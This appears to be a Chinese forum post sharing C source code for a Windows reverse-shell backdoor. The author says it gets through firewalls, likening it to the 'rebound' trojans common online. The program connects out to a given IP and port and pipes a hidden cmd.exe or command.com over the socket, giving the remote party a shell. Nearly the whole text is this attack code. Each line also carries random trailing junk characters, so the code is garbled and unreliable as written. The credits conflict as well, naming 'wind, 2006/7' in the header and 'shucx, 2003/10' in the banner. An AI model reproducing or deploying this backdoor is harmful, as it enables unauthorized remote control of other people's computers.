这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q9>]@DrAx
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/* ============================== 1[`<JCFClc
Rebound port in Windows NT Ig KAD#2a
By wind,2006/7 n5/Tn7hY
===============================*/ CM1a<bV<
#include Zwns|23n
#include "J{zfWr
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#pragma comment(lib,"wsock32.lib") 30E v"
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void OutputShell(); PZJ
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SOCKET sClient; CHit
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <,4(3 >js
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void main(int argc,char **argv) :[f`HY&
{ _l=
WSADATA stWsaData; A]%t0>EL<
int nRet; HbfB[%
SOCKADDR_IN stSaiClient,stSaiServer; Pm(:M:a
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if(argc != 3) GTe:k
{ TeCpT2!5j
printf("Useage:\n\rRebound DestIP DestPort\n"); p3FnYz-V
return; X\2hKUkT
} oImgj4C2L
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6H,=S`V]EK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6oh@$.ThG
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stSaiClient.sin_family = AF_INET; e)dWa'2<
stSaiClient.sin_port = htons(0); Wo+CQH6(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g^ $11
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q,+kPhHEgy
{ 355Sd;*
printf("Bind Socket Failed!\n"); Df:7P>
return; Evq Ai/(g
} _s^:zPl
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stSaiServer.sin_family = AF_INET; 5YI/Ec
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J2<
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s7nX\:Bw:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j-`X_8W
{ ,' rL'Ys
printf("Connect Error!"); tK|9qs<%
return; k3>ur>aW
} YG 5Z8@kH
OutputShell(); Ig Vo%)n
} q
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void OutputShell() Xvj=*wg\Y
{
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char szBuff[1024]; s|gD
SECURITY_ATTRIBUTES stSecurityAttributes; iQ|,&K0d]
OSVERSIONINFO stOsversionInfo; me:|!lI7YU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CI!Eq&D,
STARTUPINFO stStartupInfo; 2@3.xG
char *szShell; vf'cx:m
PROCESS_INFORMATION stProcessInformation; -e{)v' C)
unsigned long lBytesRead; O/Y\ps3r
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A!ioji+{[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3cCK"kr
stSecurityAttributes.lpSecurityDescriptor = 0; i,'Ka[6
stSecurityAttributes.bInheritHandle = TRUE; !
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S?Bc~y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?{"XrQw
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V/3 {^Fcr
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WXLe,7y
stStartupInfo.wShowWindow = SW_HIDE; ;v,9v;T
stStartupInfo.hStdInput = hReadPipe; QOT)x4!)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3'[Rvy{
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GetVersionEx(&stOsversionInfo); ha|@ Xp
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switch(stOsversionInfo.dwPlatformId) )@Zc?Da
{ ).NcLJw_
case 1: <AI>8j6#B
szShell = "command.com"; @PPR$4
break; (VYR!(17
default:
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szShell = "cmd.exe"; a[1sA12
break; L289'Gzg
} ,4H;P/xsb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jDlA<1
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send(sClient,szMsg,77,0); /[a|DUoHO
while(1) uu}a:qrY
{ {
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <9ma(PFa
if(lBytesRead) {]&R8?%
{ Bj@x$v#/^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "A%MVym."
send(sClient,szBuff,lBytesRead,0); OuB2 x=B
} q}>M& *
else 'sj9[o@]
{ xN6?yr
lBytesRead=recv(sClient,szBuff,1024,0); I+0c8T(:
if(lBytesRead<=0) break; -NAmu97V}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q> kiVvc
} 5pO]vBT
} y:Z$LmPc<
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return; ('=Z}~
}